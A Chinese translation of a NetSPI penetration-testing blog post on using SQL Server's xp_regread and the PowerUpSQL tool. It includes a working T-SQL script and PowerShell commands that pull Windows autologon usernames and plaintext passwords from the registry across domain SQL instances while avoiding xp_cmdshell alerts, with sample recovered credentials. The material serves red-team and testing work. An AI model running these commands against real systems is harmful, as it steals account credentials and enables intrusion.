您好,登錄后才能下訂單哦!
原文:
https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/
在這篇博客中,我將展示如何使用PowerUpSQL通過SQL Serverd導(dǎo)出Windows自動登錄密碼。我也來談?wù)?/span>xp_regread存儲過程中的其他利用方式也可在***測試中使用。
xp_regread簡史
從SQL Server2000后xp_regread擴(kuò)展存儲過程一直被使用,因為其原始版本允許以公共服務(wù)器角色的成員訪問SQL Server服務(wù)帳戶權(quán)限的幾乎任何東西的。當(dāng)時,它有一個非常大的影響,因為SQL Server以LocalSystem權(quán)限運(yùn)行是常見的(譯者注:很容易被提權(quán))。自從SQL Server 2000 SP4發(fā)布之后,由于添加了一些訪問控制,這有助于防止低權(quán)限的登錄訪問敏感的注冊表位置,xp_regread的影響已經(jīng)相當(dāng)小,現(xiàn)在,未經(jīng)授權(quán)的用戶訪問唯一的注冊表位置都與SQLServer相關(guān)。對于您可以訪問這些位置的列表https://support.microsoft.com/en-us/kb/887165
下面是更有趣的訪問路徑中的幾個:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Search
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SQLServer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Messaging Subsystem
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\SQLServer
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ExtensionAgents
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SQLServer
HKEY_CURRENT_USER\Software\Microsoft\Mail HKEY_CURRENT_USER\ControlPanel\International
xp_regread公共角色的實際用途
即使是我們的雙手被捆綁,xp_regread也可以用來獲取不少有用的信息。事實上,作為最低權(quán)限登錄時,我經(jīng)常用它來抓取其它地方無法獲取的服務(wù)器信息。例如,在PowerUpSQL中的Get-SQLServerInfo功能包括一些這些查詢:
PS C:\>Get-SQLServerInfo
ComputerName : SQLServer1
Instance : SQLServer1
DomainName : demo.local
ServiceName : MSSQLSERVER
ServiceAccount : NT Service\MSSQLSERVER
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber: 12.0.4213.0
SQLServerMajorVersion : 2014
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : SP1
OSArchitecture : X64
OsMachineType : WinNT
OSVersionName : Windows 8.1 Pro
OsVersionNumber : 6.3
Currentlogin : demo\user
IsSysadmin : Yes
ActiveSessions : 3
在SQL ServerSP4中實現(xiàn)的訪問控制限制并不適用于系統(tǒng)管理員。其結(jié)果是,任何SQL Server服務(wù)賬戶可以在注冊表訪問,一個系統(tǒng)管理員可以通過xp_regread訪問。乍一看,這似乎不是什么大不了的事,但它確實讓我們從注冊表中的敏感數(shù)據(jù),而不必使用xp_cmdshell存儲過程,啟用和使用xp_cmdshel會觸發(fā)大量的告警。所以xp_regread實際上最終被用于基本的SQL Server開發(fā)任務(wù)后。
使用xp_regread恢復(fù)Windows自動登錄憑據(jù)
配置Windows在計算機(jī)啟動時自動登錄這是可以實現(xiàn)的,雖然這不是在企業(yè)環(huán)境中的常見配置,這是我們在零售環(huán)境中經(jīng)常看到的東西。特別是那些支持傳統(tǒng)的POS終端和信息亭使用SQL服務(wù)器本地運(yùn)行。在大多數(shù)情況下,當(dāng)Windows配置為自動登錄,加密的憑據(jù)存儲在注冊表項:
HKEY_LOCAL_MACHINE SOFTWARE \Microsoft\WindowsNT\CURRENTVERSION \Winlogon
利用這些信息,我們可以編寫使用一個基本的TSQL腳本,通過xp_regread獲取注冊表的自動登錄憑據(jù),而無需使xp_cmdshell啟用。下面就是一個TSQL腳本例子,但由于注冊表路徑不在允許列表上,我們必須作為一個系統(tǒng)管理員運(yùn)行查詢:
-------------------------------------------------------------------------
-- Get Windows AutoLogin Credentials from the Registry
-------------------------------------------------------------------------
-- Get AutoLoginDefault Domain
DECLARE@AutoLoginDomain SYSNAME
EXECUTEmaster.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name = N'DefaultDomainName',
@value = @AutoLoginDomainoutput
-- Get AutoLoginDefaultUsername
DECLARE@AutoLoginUser SYSNAME
EXECUTEmaster.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name = N'DefaultUserName',
@value = @AutoLoginUser output
-- Get AutoLoginDefaultUsername
DECLARE@AutoLoginPassword SYSNAME
EXECUTEmaster.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key =N'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',
@value_name = N'DefaultPassword',
@value = @AutoLoginPasswordoutput
-- Display Results
SELECT@AutoLoginDomain, @AutoLoginUser, @AutoLoginPassword
我已經(jīng)創(chuàng)建了一個名為“Get-SQLRecoverPwAutoLogon”的PowerUpSQL函數(shù),所以你可以直接運(yùn)行它。它將獲取默認(rèn)的Windows自動登錄信息和曾經(jīng)設(shè)置過的Windows自動登錄信息。然后,它返回相關(guān)的域名、用戶名和密碼。
下面是那些感興趣的一個命令示例。如果您對***隱蔽的SQL Server目標(biāo)有興趣,你可以挖掘這個博客(https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/):
PS C:\> $Accessible =Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose-Threads 15| Where-Object {$_.Status –eq “Accessible”}
PS C:\> $Accessible |Get-SQLRecoverPwAutoLogon -Verbose
VERBOSE: SQLServer1.demo.local\Instance1 :Connection Success.
VERBOSE: SQLServer2.demo.local\Application: Connection Success.
VERBOSE: SQLServer2.demo.local\Application: This function requires sysadmin privileges. Done.
VERBOSE: SQLServer3.demo.local\2014 :Connection Success.
VERBOSE: SQLServer3.demo.local\2014 : Thisfunction requires sysadmin privileges. Done.
ComputerName : SQLServer1
Instance : SQLServer1\Instance1
Domain : demo.local
UserName : KioskAdmin
Password : test
ComputerName : SQLServer1
Instance : SQLServer1\Instance1
Domain : demo.local
UserName : kioskuser
Password : KioskUserPassword!
總結(jié)
即使xp_regread擴(kuò)展存儲過程已部分閹割,仍有許多方式,它可以被證明是有用的***測試和紅隊交戰(zhàn)中。希望你能用“sqlserverinfo”、“sqlrecoverpwautologon”函數(shù)構(gòu)建它的能力,更多注冊表的樂趣將陸續(xù)提供,在此期間,祝你好運(yùn),并負(fù)責(zé)任!
參考文章:
https://support.microsoft.com/en-us/kb/887165
https://msdn.microsoft.com/en-us/library/aa940179(v=winembedded.5).aspx
http://sqlmag.com/t-sql/using-t-sql-manipulate-registry
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。